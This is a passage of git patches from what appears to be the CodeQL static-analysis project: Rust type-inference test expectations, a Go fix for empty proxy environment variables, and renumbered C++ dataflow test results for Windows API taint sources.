| | file://:0:0:0:0 | & | | main.rs:1590:28:1590:29 | v2 | | main.rs:1278:5:1283:5 | Vec2 | +| main.rs:1590:28:1590:29 | v2 | &T | main.rs:1278:5:1283:5 | Vec2 | | main.rs:1592:13:1592:31 | mut vec2_sub_assign | | main.rs:1278:5:1283:5 | Vec2 | | main.rs:1592:35:1592:36 | v1 | | main.rs:1278:5:1283:5 | Vec2 | | main.rs:1593:9:1593:23 | vec2_sub_assign | | main.rs:1278:5:1283:5 | Vec2 | | main.rs:1593:9:1593:29 | ... -= ... | | file://:0:0:0:0 | () | +| main.rs:1593:28:1593:29 | v2 | | file://:0:0:0:0 | & | | main.rs:1593:28:1593:29 | v2 | | main.rs:1278:5:1283:5 | Vec2 | +| main.rs:1593:28:1593:29 | v2 | &T | main.rs:1278:5:1283:5 | Vec2 | | main.rs:1595:13:1595:31 | mut vec2_mul_assign | | main.rs:1278:5:1283:5 | Vec2 | | main.rs:1595:35:1595:36 | v1 | | main.rs:1278:5:1283:5 | Vec2 | | main.rs:1596:9:1596:23 | vec2_mul_assign | | main.rs:1278:5:1283:5 | Vec2 | | main.rs:1596:9:1596:29 | ... *= ... | | file://:0:0:0:0 | () | +| main.rs:1596:28:1596:29 | v2 | | file://:0:0:0:0 | & | | main.rs:1596:28:1596:29 | v2 | | main.rs:1278:5:1283:5 | Vec2 | +| main.rs:1596:28:1596:29 | v2 | &T | main.rs:1278:5:1283:5 | Vec2 | | main.rs:1598:13:1598:31 | mut vec2_div_assign | | main.rs:1278:5:1283:5 | Vec2 | | main.rs:1598:35:1598:36 | v1 | | main.rs:1278:5:1283:5 | Vec2 | | main.rs:1599:9:1599:23 | vec2_div_assign | | main.rs:1278:5:1283:5 | Vec2 | | main.rs:1599:9:1599:29 | ... /= ... | | file://:0:0:0:0 | () | +| main.rs:1599:28:1599:29 | v2 | | file://:0:0:0:0 | & | | main.rs:1599:28:1599:29 | v2 | | main.rs:1278:5:1283:5 | Vec2 | +| main.rs:1599:28:1599:29 | v2 | &T | main.rs:1278:5:1283:5 | Vec2 | | main.rs:1601:13:1601:31 | mut vec2_rem_assign | | main.rs:1278:5:1283:5 | Vec2 | | main.rs:1601:35:1601:36 | v1 | | main.rs:1278:5:1283:5 | Vec2 | | main.rs:1602:9:1602:23 | vec2_rem_assign | | main.rs:1278:5:1283:5 | Vec2 | | main.rs:1602:9:1602:29 | ... %= ... | | file://:0:0:0:0 | () | +| main.rs:1602:28:1602:29 | v2 | | file://:0:0:0:0 | & | | main.rs:1602:28:1602:29 | v2 | | main.rs:1278:5:1283:5 | Vec2 | +| main.rs:1602:28:1602:29 | v2 | &T | main.rs:1278:5:1283:5 | Vec2 | +| main.rs:1605:13:1605:23 | vec2_bitand | | main.rs:1278:5:1283:5 | Vec2 | | main.rs:1605:27:1605:28 | v1 | | main.rs:1278:5:1283:5 | Vec2 | +| main.rs:1605:27:1605:33 | ... & ... | | main.rs:1278:5:1283:5 | Vec2 | +| main.rs:1605:32:1605:33 | v2 | | file://:0:0:0:0 | & | | main.rs:1605:32:1605:33 | v2 | | main.rs:1278:5:1283:5 | Vec2 | +| main.rs:1605:32:1605:33 | v2 | &T | main.rs:1278:5:1283:5 | Vec2 | +| main.rs:1606:13:1606:22 | vec2_bitor | | main.rs:1278:5:1283:5 | Vec2 | | main.rs:1606:26:1606:27 | v1 | | main.rs:1278:5:1283:5 | Vec2 | +| main.rs:1606:26:1606:32 | ... \| ... | | main.rs:1278:5:1283:5 | Vec2 | +| main.rs:1606:31:1606:32 | v2 | | file://:0:0:0:0 | & | | main.rs:1606:31:1606:32 | v2 | | main.rs:1278:5:1283:5 | Vec2 | +| main.rs:1606:31:1606:32 | v2 | &T | main.rs:1278:5:1283:5 | Vec2 | +| main.rs:1607:13:1607:23 | vec2_bitxor | | main.rs:1278:5:1283:5 | Vec2 | | main.rs:1607:27:1607:28 | v1 | | main.rs:1278:5:1283:5 | Vec2 | +| main.rs:1607:27:1607:33 | ... ^ ... | | main.rs:1278:5:1283:5 | Vec2 | +| main.rs:1607:32:1607:33 | v2 | | file://:0:0:0:0 | & | | main.rs:1607:32:1607:33 | v2 | | main.rs:1278:5:1283:5 | Vec2 | +| main.rs:1607:32:1607:33 | v2 | &T | main.rs:1278:5:1283:5 | Vec2 | +| main.rs:1608:13:1608:20 | vec2_shl | | main.rs:1278:5:1283:5 | Vec2 | | main.rs:1608:24:1608:25 | v1 | | main.rs:1278:5:1283:5 | Vec2 | +| main.rs:1608:24:1608:33 | ... << ... | | main.rs:1278:5:1283:5 | Vec2 | | main.rs:1608:30:1608:33 | 1u32 | | file:///BUILTINS/types.rs:17:1:17:15 | u32 | +| main.rs:1609:13:1609:20 | vec2_shr | | main.rs:1278:5:1283:5 | Vec2 | | main.rs:1609:24:1609:25 | v1 | | main.rs:1278:5:1283:5 | Vec2 | +| main.rs:1609:24:1609:33 | ... >> ... | | main.rs:1278:5:1283:5 | Vec2 | | main.rs:1609:30:1609:33 | 1u32 | | file:///BUILTINS/types.rs:17:1:17:15 | u32 | | main.rs:1612:13:1612:34 | mut vec2_bitand_assign | | main.rs:1278:5:1283:5 | Vec2 | | main.rs:1612:38:1612:39 | v1 | | main.rs:1278:5:1283:5 | Vec2 | | main.rs:1613:9:1613:26 | vec2_bitand_assign | | main.rs:1278:5:1283:5 | Vec2 | | main.rs:1613:9:1613:32 | ... &= ... | | file://:0:0:0:0 | () | +| main.rs:1613:31:1613:32 | v2 | | file://:0:0:0:0 | & | | main.rs:1613:31:1613:32 | v2 | | main.rs:1278:5:1283:5 | Vec2 | +| main.rs:1613:31:1613:32 | v2 | &T | main.rs:1278:5:1283:5 | Vec2 | | main.rs:1615:13:1615:33 | mut vec2_bitor_assign | | main.rs:1278:5:1283:5 | Vec2 | | main.rs:1615:37:1615:38 | v1 | | main.rs:1278:5:1283:5 | Vec2 | | main.rs:1616:9:1616:25 | vec2_bitor_assign | | main.rs:1278:5:1283:5 | Vec2 | | main.rs:1616:9:1616:31 | ... \|= ... | | file://:0:0:0:0 | () | +| main.rs:1616:30:1616:31 | v2 | | file://:0:0:0:0 | & | | main.rs:1616:30:1616:31 | v2 | | main.rs:1278:5:1283:5 | Vec2 | +| main.rs:1616:30:1616:31 | v2 | &T | main.rs:1278:5:1283:5 | Vec2 | | main.rs:1618:13:1618:34 | mut vec2_bitxor_assign | | main.rs:1278:5:1283:5 | Vec2 | | main.rs:1618:38:1618:39 | v1 | | main.rs:1278:5:1283:5 | Vec2 | | main.rs:1619:9:1619:26 | vec2_bitxor_assign | | main.rs:1278:5:1283:5 | Vec2 | | main.rs:1619:9:1619:32 | ... ^= ... | | file://:0:0:0:0 | () | +| main.rs:1619:31:1619:32 | v2 | | file://:0:0:0:0 | & | | main.rs:1619:31:1619:32 | v2 | | main.rs:1278:5:1283:5 | Vec2 | +| main.rs:1619:31:1619:32 | v2 | &T | main.rs:1278:5:1283:5 | Vec2 | | main.rs:1621:13:1621:31 | mut vec2_shl_assign | | main.rs:1278:5:1283:5 | Vec2 | | main.rs:1621:35:1621:36 | v1 | | main.rs:1278:5:1283:5 | Vec2 | | main.rs:1622:9:1622:23 | vec2_shl_assign | | main.rs:1278:5:1283:5 | Vec2 | @@ -2232,7 +2369,11 @@ inferType | main.rs:1625:9:1625:23 | vec2_shr_assign | | main.rs:1278:5:1283:5 | Vec2 | | main.rs:1625:9:1625:32 | ... >>= ... | | file://:0:0:0:0 | () | | main.rs:1625:29:1625:32 | 1u32 | | file:///BUILTINS/types.rs:17:1:17:15 | u32 | +| main.rs:1628:13:1628:20 | vec2_neg | | main.rs:1278:5:1283:5 | Vec2 | +| main.rs:1628:24:1628:26 | - ... | | main.rs:1278:5:1283:5 | Vec2 | | main.rs:1628:25:1628:26 | v1 | | main.rs:1278:5:1283:5 | Vec2 | +| main.rs:1629:13:1629:20 | vec2_not | | main.rs:1278:5:1283:5 | Vec2 | +| main.rs:1629:24:1629:26 | ! ... | | main.rs:1278:5:1283:5 | Vec2 | | main.rs:1629:25:1629:26 | v1 | | main.rs:1278:5:1283:5 | Vec2 | | main.rs:1635:5:1635:20 | ...::f(...) | | main.rs:67:5:67:21 | Foo | | main.rs:1636:5:1636:60 | ...::g(...) | | main.rs:67:5:67:21 | Foo | From c236084043b7ae57e3196d293ee162a7e7f0c5f4 Mon Sep 17 00:00:00 2001 From: "Michael B. Gale" Date: Tue, 27 May 2025 14:58:18 +0100 Subject: [PATCH 412/535] Go: Explicitly check whether proxy env vars are empty --- go/extractor/util/registryproxy.go | 8 ++++---- 1 file changed, 4 insertions(+), 4 deletions(-) diff --git a/go/extractor/util/registryproxy.go b/go/extractor/util/registryproxy.go index 43eaa461032a..301d45896d2e 100644 --- a/go/extractor/util/registryproxy.go +++ b/go/extractor/util/registryproxy.go @@ -50,8 +50,8 @@ func parseRegistryConfigs(str string) ([]RegistryConfig, error) { func getEnvVars() []string { var result []string - if proxy_host, proxy_host_set := os.LookupEnv(PROXY_HOST); proxy_host_set { - if proxy_port, proxy_port_set := os.LookupEnv(PROXY_PORT); proxy_port_set { + if proxy_host, proxy_host_set := os.LookupEnv(PROXY_HOST); proxy_host_set && proxy_host != "" { + if proxy_port, proxy_port_set := os.LookupEnv(PROXY_PORT); proxy_port_set && proxy_port != "" { proxy_address = fmt.Sprintf("http://%s:%s", proxy_host, proxy_port) result = append(result, fmt.Sprintf("HTTP_PROXY=%s", proxy_address), fmt.Sprintf("HTTPS_PROXY=%s", proxy_address)) @@ -59,7 +59,7 @@ func getEnvVars() []string { } } - if proxy_cert, proxy_cert_set := os.LookupEnv(PROXY_CA_CERTIFICATE); proxy_cert_set { + if proxy_cert, proxy_cert_set := os.LookupEnv(PROXY_CA_CERTIFICATE); proxy_cert_set && proxy_cert != "" { // Write the certificate to a temporary file slog.Info("Found certificate") @@ -82,7 +82,7 @@ func getEnvVars() []string { } } - if proxy_urls, proxy_urls_set := os.LookupEnv(PROXY_URLS); proxy_urls_set { + if proxy_urls, proxy_urls_set := os.LookupEnv(PROXY_URLS); proxy_urls_set && proxy_urls != "" { val, err := parseRegistryConfigs(proxy_urls) if err != nil { slog.Error("Unable to parse proxy configurations", slog.String("error", err.Error())) From ae67948a677395dd7d7ef23536cb50a13d1cae7f Mon Sep 17 00:00:00 2001 From: Jeroen Ketema Date: Tue, 27 May 2025 16:55:26 +0200 Subject: [PATCH 413/535] C++: Fix formatting in model files --- cpp/ql/lib/ext/Boost.Asio.model.yml | 2 +- cpp/ql/lib/ext/Windows.model.yml | 2 +- 2 files changed, 2 insertions(+), 2 deletions(-) diff --git a/cpp/ql/lib/ext/Boost.Asio.model.yml b/cpp/ql/lib/ext/Boost.Asio.model.yml index 3b6fb77071fe..f6ba957d2596 100644 --- a/cpp/ql/lib/ext/Boost.Asio.model.yml +++ b/cpp/ql/lib/ext/Boost.Asio.model.yml @@ -1,4 +1,4 @@ - # partial model of the Boost::Asio network library +# partial model of the Boost::Asio network library extensions: - addsTo: pack: codeql/cpp-all diff --git a/cpp/ql/lib/ext/Windows.model.yml b/cpp/ql/lib/ext/Windows.model.yml index 8bfb3f48b918..810a98de85d4 100644 --- a/cpp/ql/lib/ext/Windows.model.yml +++ b/cpp/ql/lib/ext/Windows.model.yml @@ -1,4 +1,4 @@ - # partial model of windows system calls +# partial model of windows system calls extensions: - addsTo: pack: codeql/cpp-all From ae266546a650395584abcbfdaa85d38bad4c78ef Mon Sep 17 00:00:00 2001 From: Jeroen Ketema Date: Tue, 27 May 2025 16:57:23 +0200 Subject: [PATCH 414/535] C++: Minor test clean up --- .../dataflow/external-models/flow.expected | 276 +++++++++--------- .../dataflow/external-models/sources.expected | 34 +-- .../dataflow/external-models/steps.expected | 2 +- .../dataflow/external-models/windows.cpp | 26 +- 4 files changed, 171 insertions(+), 167 deletions(-) diff --git a/cpp/ql/test/library-tests/dataflow/external-models/flow.expected b/cpp/ql/test/library-tests/dataflow/external-models/flow.expected index 4f333d4c36f5..a4f7767db566 100644 --- a/cpp/ql/test/library-tests/dataflow/external-models/flow.expected +++ b/cpp/ql/test/library-tests/dataflow/external-models/flow.expected @@ -37,68 +37,68 @@ edges | test.cpp:32:11:32:36 | call to ymlStepGenerated_with_body | test.cpp:33:10:33:11 | z2 | provenance | Sink:MaD:23507 | | test.cpp:32:41:32:41 | x | test.cpp:7:47:7:52 | value2 | provenance | | | test.cpp:32:41:32:41 | x | test.cpp:32:11:32:36 | call to ymlStepGenerated_with_body | provenance | | -| windows.cpp:6:8:6:25 | [summary param] *0 in CommandLineToArgvA | windows.cpp:6:8:6:25 | [summary] to write: ReturnValue[**] in CommandLineToArgvA | provenance | MaD:341 | -| windows.cpp:11:15:11:29 | *call to GetCommandLineA | windows.cpp:11:15:11:29 | *call to GetCommandLineA | provenance | Src:MaD:325 | -| windows.cpp:11:15:11:29 | *call to GetCommandLineA | windows.cpp:13:8:13:11 | * ... | provenance | | -| windows.cpp:11:15:11:29 | *call to GetCommandLineA | windows.cpp:16:36:16:38 | *cmd | provenance | | -| windows.cpp:16:17:16:34 | **call to CommandLineToArgvA | windows.cpp:16:17:16:34 | **call to CommandLineToArgvA | provenance | | -| windows.cpp:16:17:16:34 | **call to CommandLineToArgvA | windows.cpp:19:8:19:15 | * ... | provenance | | -| windows.cpp:16:36:16:38 | *cmd | windows.cpp:6:8:6:25 | [summary param] *0 in CommandLineToArgvA | provenance | | -| windows.cpp:16:36:16:38 | *cmd | windows.cpp:16:17:16:34 | **call to CommandLineToArgvA | provenance | MaD:341 | -| windows.cpp:23:17:23:38 | *call to GetEnvironmentStringsA | windows.cpp:23:17:23:38 | *call to GetEnvironmentStringsA | provenance | Src:MaD:327 | -| windows.cpp:23:17:23:38 | *call to GetEnvironmentStringsA | windows.cpp:25:10:25:13 | * ... | provenance | | -| windows.cpp:28:36:28:38 | GetEnvironmentVariableA output argument | windows.cpp:30:10:30:13 | * ... | provenance | Src:MaD:329 | -| windows.cpp:86:6:86:15 | [summary param] *3 in ReadFileEx [*hEvent] | windows.cpp:86:6:86:15 | [summary] read: Argument[*3].Field[*hEvent] in ReadFileEx | provenance | | -| windows.cpp:86:6:86:15 | [summary param] *3 in ReadFileEx [hEvent] | windows.cpp:86:6:86:15 | [summary] read: Argument[*3].Field[hEvent] in ReadFileEx | provenance | | -| windows.cpp:86:6:86:15 | [summary] read: Argument[*3].Field[*hEvent] in ReadFileEx | windows.cpp:86:6:86:15 | [summary] to write: Argument[4].Parameter[*2].Field[*hEvent] in ReadFileEx | provenance | MaD:343 | -| windows.cpp:86:6:86:15 | [summary] read: Argument[*3].Field[hEvent] in ReadFileEx | windows.cpp:86:6:86:15 | [summary] to write: Argument[4].Parameter[*2].Field[hEvent] in ReadFileEx | provenance | MaD:343 | -| windows.cpp:86:6:86:15 | [summary] to write: Argument[4].Parameter[*2] in ReadFileEx [*hEvent] | windows.cpp:143:16:143:27 | *lpOverlapped [*hEvent] | provenance | | -| windows.cpp:86:6:86:15 | [summary] to write: Argument[4].Parameter[*2] in ReadFileEx [hEvent] | windows.cpp:153:16:153:27 | *lpOverlapped [hEvent] | provenance | | -| windows.cpp:86:6:86:15 | [summary] to write: Argument[4].Parameter[*2].Field[*hEvent] in ReadFileEx | windows.cpp:86:6:86:15 | [summary] to write: Argument[4].Parameter[*2] in ReadFileEx [*hEvent] | provenance | | -| windows.cpp:86:6:86:15 | [summary] to write: Argument[4].Parameter[*2].Field[hEvent] in ReadFileEx | windows.cpp:86:6:86:15 | [summary] to write: Argument[4].Parameter[*2] in ReadFileEx [hEvent] | provenance | | -| windows.cpp:143:16:143:27 | *lpOverlapped [*hEvent] | windows.cpp:145:42:145:53 | *lpOverlapped [*hEvent] | provenance | | -| windows.cpp:145:18:145:62 | *hEvent | windows.cpp:145:18:145:62 | *hEvent | provenance | | -| windows.cpp:145:18:145:62 | *hEvent | windows.cpp:147:8:147:14 | * ... | provenance | | -| windows.cpp:145:42:145:53 | *lpOverlapped [*hEvent] | windows.cpp:145:18:145:62 | *hEvent | provenance | | -| windows.cpp:145:42:145:53 | *lpOverlapped [*hEvent] | windows.cpp:145:56:145:61 | *hEvent | provenance | | -| windows.cpp:145:56:145:61 | *hEvent | windows.cpp:145:18:145:62 | *hEvent | provenance | | -| windows.cpp:153:16:153:27 | *lpOverlapped [hEvent] | windows.cpp:155:35:155:46 | *lpOverlapped [hEvent] | provenance | | -| windows.cpp:155:12:155:55 | hEvent | windows.cpp:155:12:155:55 | hEvent | provenance | | -| windows.cpp:155:12:155:55 | hEvent | windows.cpp:156:8:156:8 | c | provenance | | -| windows.cpp:155:35:155:46 | *lpOverlapped [hEvent] | windows.cpp:155:12:155:55 | hEvent | provenance | | -| windows.cpp:155:35:155:46 | *lpOverlapped [hEvent] | windows.cpp:155:12:155:55 | hEvent | provenance | | -| windows.cpp:164:35:164:40 | ReadFile output argument | windows.cpp:166:10:166:16 | * ... | provenance | Src:MaD:331 | -| windows.cpp:173:23:173:28 | ReadFileEx output argument | windows.cpp:175:10:175:16 | * ... | provenance | Src:MaD:332 | -| windows.cpp:185:21:185:26 | ReadFile output argument | windows.cpp:186:5:186:56 | *... = ... | provenance | Src:MaD:331 | -| windows.cpp:186:5:186:14 | *overlapped [post update] [*hEvent] | windows.cpp:188:53:188:63 | *& ... [*hEvent] | provenance | | -| windows.cpp:186:5:186:56 | *... = ... | windows.cpp:186:5:186:14 | *overlapped [post update] [*hEvent] | provenance | | -| windows.cpp:188:53:188:63 | *& ... [*hEvent] | windows.cpp:86:6:86:15 | [summary param] *3 in ReadFileEx [*hEvent] | provenance | | -| windows.cpp:194:21:194:26 | ReadFile output argument | windows.cpp:195:5:195:57 | ... = ... | provenance | Src:MaD:331 | -| windows.cpp:195:5:195:14 | *overlapped [post update] [hEvent] | windows.cpp:197:53:197:63 | *& ... [hEvent] | provenance | | -| windows.cpp:195:5:195:57 | ... = ... | windows.cpp:195:5:195:14 | *overlapped [post update] [hEvent] | provenance | | -| windows.cpp:197:53:197:63 | *& ... [hEvent] | windows.cpp:86:6:86:15 | [summary param] *3 in ReadFileEx [hEvent] | provenance | | -| windows.cpp:205:84:205:89 | NtReadFile output argument | windows.cpp:207:10:207:16 | * ... | provenance | Src:MaD:340 | -| windows.cpp:282:23:282:35 | *call to MapViewOfFile | windows.cpp:282:23:282:35 | *call to MapViewOfFile | provenance | Src:MaD:333 | -| windows.cpp:282:23:282:35 | *call to MapViewOfFile | windows.cpp:283:20:283:52 | *pMapView | provenance | | -| windows.cpp:283:20:283:52 | *pMapView | windows.cpp:285:10:285:16 | * ... | provenance | | -| windows.cpp:289:23:289:36 | *call to MapViewOfFile2 | windows.cpp:289:23:289:36 | *call to MapViewOfFile2 | provenance | Src:MaD:334 | -| windows.cpp:289:23:289:36 | *call to MapViewOfFile2 | windows.cpp:290:20:290:52 | *pMapView | provenance | | -| windows.cpp:290:20:290:52 | *pMapView | windows.cpp:292:10:292:16 | * ... | provenance | | -| windows.cpp:298:23:298:36 | *call to MapViewOfFile3 | windows.cpp:298:23:298:36 | *call to MapViewOfFile3 | provenance | Src:MaD:335 | -| windows.cpp:298:23:298:36 | *call to MapViewOfFile3 | windows.cpp:299:20:299:52 | *pMapView | provenance | | -| windows.cpp:299:20:299:52 | *pMapView | windows.cpp:301:10:301:16 | * ... | provenance | | -| windows.cpp:307:23:307:43 | *call to MapViewOfFile3FromApp | windows.cpp:307:23:307:43 | *call to MapViewOfFile3FromApp | provenance | Src:MaD:336 | -| windows.cpp:307:23:307:43 | *call to MapViewOfFile3FromApp | windows.cpp:308:20:308:52 | *pMapView | provenance | | -| windows.cpp:308:20:308:52 | *pMapView | windows.cpp:310:10:310:16 | * ... | provenance | | -| windows.cpp:314:23:314:37 | *call to MapViewOfFileEx | windows.cpp:314:23:314:37 | *call to MapViewOfFileEx | provenance | Src:MaD:337 | -| windows.cpp:314:23:314:37 | *call to MapViewOfFileEx | windows.cpp:315:20:315:52 | *pMapView | provenance | | -| windows.cpp:315:20:315:52 | *pMapView | windows.cpp:317:10:317:16 | * ... | provenance | | -| windows.cpp:321:23:321:42 | *call to MapViewOfFileFromApp | windows.cpp:321:23:321:42 | *call to MapViewOfFileFromApp | provenance | Src:MaD:338 | -| windows.cpp:321:23:321:42 | *call to MapViewOfFileFromApp | windows.cpp:322:20:322:52 | *pMapView | provenance | | -| windows.cpp:322:20:322:52 | *pMapView | windows.cpp:324:10:324:16 | * ... | provenance | | -| windows.cpp:328:23:328:40 | *call to MapViewOfFileNuma2 | windows.cpp:328:23:328:40 | *call to MapViewOfFileNuma2 | provenance | Src:MaD:339 | -| windows.cpp:328:23:328:40 | *call to MapViewOfFileNuma2 | windows.cpp:329:20:329:52 | *pMapView | provenance | | -| windows.cpp:329:20:329:52 | *pMapView | windows.cpp:331:10:331:16 | * ... | provenance | | +| windows.cpp:17:8:17:25 | [summary param] *0 in CommandLineToArgvA | windows.cpp:17:8:17:25 | [summary] to write: ReturnValue[**] in CommandLineToArgvA | provenance | MaD:341 | +| windows.cpp:22:15:22:29 | *call to GetCommandLineA | windows.cpp:22:15:22:29 | *call to GetCommandLineA | provenance | Src:MaD:325 | +| windows.cpp:22:15:22:29 | *call to GetCommandLineA | windows.cpp:24:8:24:11 | * ... | provenance | | +| windows.cpp:22:15:22:29 | *call to GetCommandLineA | windows.cpp:27:36:27:38 | *cmd | provenance | | +| windows.cpp:27:17:27:34 | **call to CommandLineToArgvA | windows.cpp:27:17:27:34 | **call to CommandLineToArgvA | provenance | | +| windows.cpp:27:17:27:34 | **call to CommandLineToArgvA | windows.cpp:30:8:30:15 | * ... | provenance | | +| windows.cpp:27:36:27:38 | *cmd | windows.cpp:17:8:17:25 | [summary param] *0 in CommandLineToArgvA | provenance | | +| windows.cpp:27:36:27:38 | *cmd | windows.cpp:27:17:27:34 | **call to CommandLineToArgvA | provenance | MaD:341 | +| windows.cpp:34:17:34:38 | *call to GetEnvironmentStringsA | windows.cpp:34:17:34:38 | *call to GetEnvironmentStringsA | provenance | Src:MaD:327 | +| windows.cpp:34:17:34:38 | *call to GetEnvironmentStringsA | windows.cpp:36:10:36:13 | * ... | provenance | | +| windows.cpp:39:36:39:38 | GetEnvironmentVariableA output argument | windows.cpp:41:10:41:13 | * ... | provenance | Src:MaD:329 | +| windows.cpp:90:6:90:15 | [summary param] *3 in ReadFileEx [*hEvent] | windows.cpp:90:6:90:15 | [summary] read: Argument[*3].Field[*hEvent] in ReadFileEx | provenance | | +| windows.cpp:90:6:90:15 | [summary param] *3 in ReadFileEx [hEvent] | windows.cpp:90:6:90:15 | [summary] read: Argument[*3].Field[hEvent] in ReadFileEx | provenance | | +| windows.cpp:90:6:90:15 | [summary] read: Argument[*3].Field[*hEvent] in ReadFileEx | windows.cpp:90:6:90:15 | [summary] to write: Argument[4].Parameter[*2].Field[*hEvent] in ReadFileEx | provenance | MaD:343 | +| windows.cpp:90:6:90:15 | [summary] read: Argument[*3].Field[hEvent] in ReadFileEx | windows.cpp:90:6:90:15 | [summary] to write: Argument[4].Parameter[*2].Field[hEvent] in ReadFileEx | provenance | MaD:343 | +| windows.cpp:90:6:90:15 | [summary] to write: Argument[4].Parameter[*2] in ReadFileEx [*hEvent] | windows.cpp:147:16:147:27 | *lpOverlapped [*hEvent] | provenance | | +| windows.cpp:90:6:90:15 | [summary] to write: Argument[4].Parameter[*2] in ReadFileEx [hEvent] | windows.cpp:157:16:157:27 | *lpOverlapped [hEvent] | provenance | | +| windows.cpp:90:6:90:15 | [summary] to write: Argument[4].Parameter[*2].Field[*hEvent] in ReadFileEx | windows.cpp:90:6:90:15 | [summary] to write: Argument[4].Parameter[*2] in ReadFileEx [*hEvent] | provenance | | +| windows.cpp:90:6:90:15 | [summary] to write: Argument[4].Parameter[*2].Field[hEvent] in ReadFileEx | windows.cpp:90:6:90:15 | [summary] to write: Argument[4].Parameter[*2] in ReadFileEx [hEvent] | provenance | | +| windows.cpp:147:16:147:27 | *lpOverlapped [*hEvent] | windows.cpp:149:42:149:53 | *lpOverlapped [*hEvent] | provenance | | +| windows.cpp:149:18:149:62 | *hEvent | windows.cpp:149:18:149:62 | *hEvent | provenance | | +| windows.cpp:149:18:149:62 | *hEvent | windows.cpp:151:8:151:14 | * ... | provenance | | +| windows.cpp:149:42:149:53 | *lpOverlapped [*hEvent] | windows.cpp:149:18:149:62 | *hEvent | provenance | | +| windows.cpp:149:42:149:53 | *lpOverlapped [*hEvent] | windows.cpp:149:56:149:61 | *hEvent | provenance | | +| windows.cpp:149:56:149:61 | *hEvent | windows.cpp:149:18:149:62 | *hEvent | provenance | | +| windows.cpp:157:16:157:27 | *lpOverlapped [hEvent] | windows.cpp:159:35:159:46 | *lpOverlapped [hEvent] | provenance | | +| windows.cpp:159:12:159:55 | hEvent | windows.cpp:159:12:159:55 | hEvent | provenance | | +| windows.cpp:159:12:159:55 | hEvent | windows.cpp:160:8:160:8 | c | provenance | | +| windows.cpp:159:35:159:46 | *lpOverlapped [hEvent] | windows.cpp:159:12:159:55 | hEvent | provenance | | +| windows.cpp:159:35:159:46 | *lpOverlapped [hEvent] | windows.cpp:159:12:159:55 | hEvent | provenance | | +| windows.cpp:168:35:168:40 | ReadFile output argument | windows.cpp:170:10:170:16 | * ... | provenance | Src:MaD:331 | +| windows.cpp:177:23:177:28 | ReadFileEx output argument | windows.cpp:179:10:179:16 | * ... | provenance | Src:MaD:332 | +| windows.cpp:189:21:189:26 | ReadFile output argument | windows.cpp:190:5:190:56 | *... = ... | provenance | Src:MaD:331 | +| windows.cpp:190:5:190:14 | *overlapped [post update] [*hEvent] | windows.cpp:192:53:192:63 | *& ... [*hEvent] | provenance | | +| windows.cpp:190:5:190:56 | *... = ... | windows.cpp:190:5:190:14 | *overlapped [post update] [*hEvent] | provenance | | +| windows.cpp:192:53:192:63 | *& ... [*hEvent] | windows.cpp:90:6:90:15 | [summary param] *3 in ReadFileEx [*hEvent] | provenance | | +| windows.cpp:198:21:198:26 | ReadFile output argument | windows.cpp:199:5:199:57 | ... = ... | provenance | Src:MaD:331 | +| windows.cpp:199:5:199:14 | *overlapped [post update] [hEvent] | windows.cpp:201:53:201:63 | *& ... [hEvent] | provenance | | +| windows.cpp:199:5:199:57 | ... = ... | windows.cpp:199:5:199:14 | *overlapped [post update] [hEvent] | provenance | | +| windows.cpp:201:53:201:63 | *& ... [hEvent] | windows.cpp:90:6:90:15 | [summary param] *3 in ReadFileEx [hEvent] | provenance | | +| windows.cpp:209:84:209:89 | NtReadFile output argument | windows.cpp:211:10:211:16 | * ... | provenance | Src:MaD:340 | +| windows.cpp:286:23:286:35 | *call to MapViewOfFile | windows.cpp:286:23:286:35 | *call to MapViewOfFile | provenance | Src:MaD:333 | +| windows.cpp:286:23:286:35 | *call to MapViewOfFile | windows.cpp:287:20:287:52 | *pMapView | provenance | | +| windows.cpp:287:20:287:52 | *pMapView | windows.cpp:289:10:289:16 | * ... | provenance | | +| windows.cpp:293:23:293:36 | *call to MapViewOfFile2 | windows.cpp:293:23:293:36 | *call to MapViewOfFile2 | provenance | Src:MaD:334 | +| windows.cpp:293:23:293:36 | *call to MapViewOfFile2 | windows.cpp:294:20:294:52 | *pMapView | provenance | | +| windows.cpp:294:20:294:52 | *pMapView | windows.cpp:296:10:296:16 | * ... | provenance | | +| windows.cpp:302:23:302:36 | *call to MapViewOfFile3 | windows.cpp:302:23:302:36 | *call to MapViewOfFile3 | provenance | Src:MaD:335 | +| windows.cpp:302:23:302:36 | *call to MapViewOfFile3 | windows.cpp:303:20:303:52 | *pMapView | provenance | | +| windows.cpp:303:20:303:52 | *pMapView | windows.cpp:305:10:305:16 | * ... | provenance | | +| windows.cpp:311:23:311:43 | *call to MapViewOfFile3FromApp | windows.cpp:311:23:311:43 | *call to MapViewOfFile3FromApp | provenance | Src:MaD:336 | +| windows.cpp:311:23:311:43 | *call to MapViewOfFile3FromApp | windows.cpp:312:20:312:52 | *pMapView | provenance | | +| windows.cpp:312:20:312:52 | *pMapView | windows.cpp:314:10:314:16 | * ... | provenance | | +| windows.cpp:318:23:318:37 | *call to MapViewOfFileEx | windows.cpp:318:23:318:37 | *call to MapViewOfFileEx | provenance | Src:MaD:337 | +| windows.cpp:318:23:318:37 | *call to MapViewOfFileEx | windows.cpp:319:20:319:52 | *pMapView | provenance | | +| windows.cpp:319:20:319:52 | *pMapView | windows.cpp:321:10:321:16 | * ... | provenance | | +| windows.cpp:325:23:325:42 | *call to MapViewOfFileFromApp | windows.cpp:325:23:325:42 | *call to MapViewOfFileFromApp | provenance | Src:MaD:338 | +| windows.cpp:325:23:325:42 | *call to MapViewOfFileFromApp | windows.cpp:326:20:326:52 | *pMapView | provenance | | +| windows.cpp:326:20:326:52 | *pMapView | windows.cpp:328:10:328:16 | * ... | provenance | | +| windows.cpp:332:23:332:40 | *call to MapViewOfFileNuma2 | windows.cpp:332:23:332:40 | *call to MapViewOfFileNuma2 | provenance | Src:MaD:339 | +| windows.cpp:332:23:332:40 | *call to MapViewOfFileNuma2 | windows.cpp:333:20:333:52 | *pMapView | provenance | | +| windows.cpp:333:20:333:52 | *pMapView | windows.cpp:335:10:335:16 | * ... | provenance | | nodes | asio_streams.cpp:56:18:56:23 | [summary param] *0 in buffer | semmle.label | [summary param] *0 in buffer | | asio_streams.cpp:56:18:56:23 | [summary] to write: ReturnValue in buffer | semmle.label | [summary] to write: ReturnValue in buffer | @@ -140,85 +140,85 @@ nodes | test.cpp:32:11:32:36 | call to ymlStepGenerated_with_body | semmle.label | call to ymlStepGenerated_with_body | | test.cpp:32:41:32:41 | x | semmle.label | x | | test.cpp:33:10:33:11 | z2 | semmle.label | z2 | -| windows.cpp:6:8:6:25 | [summary param] *0 in CommandLineToArgvA | semmle.label | [summary 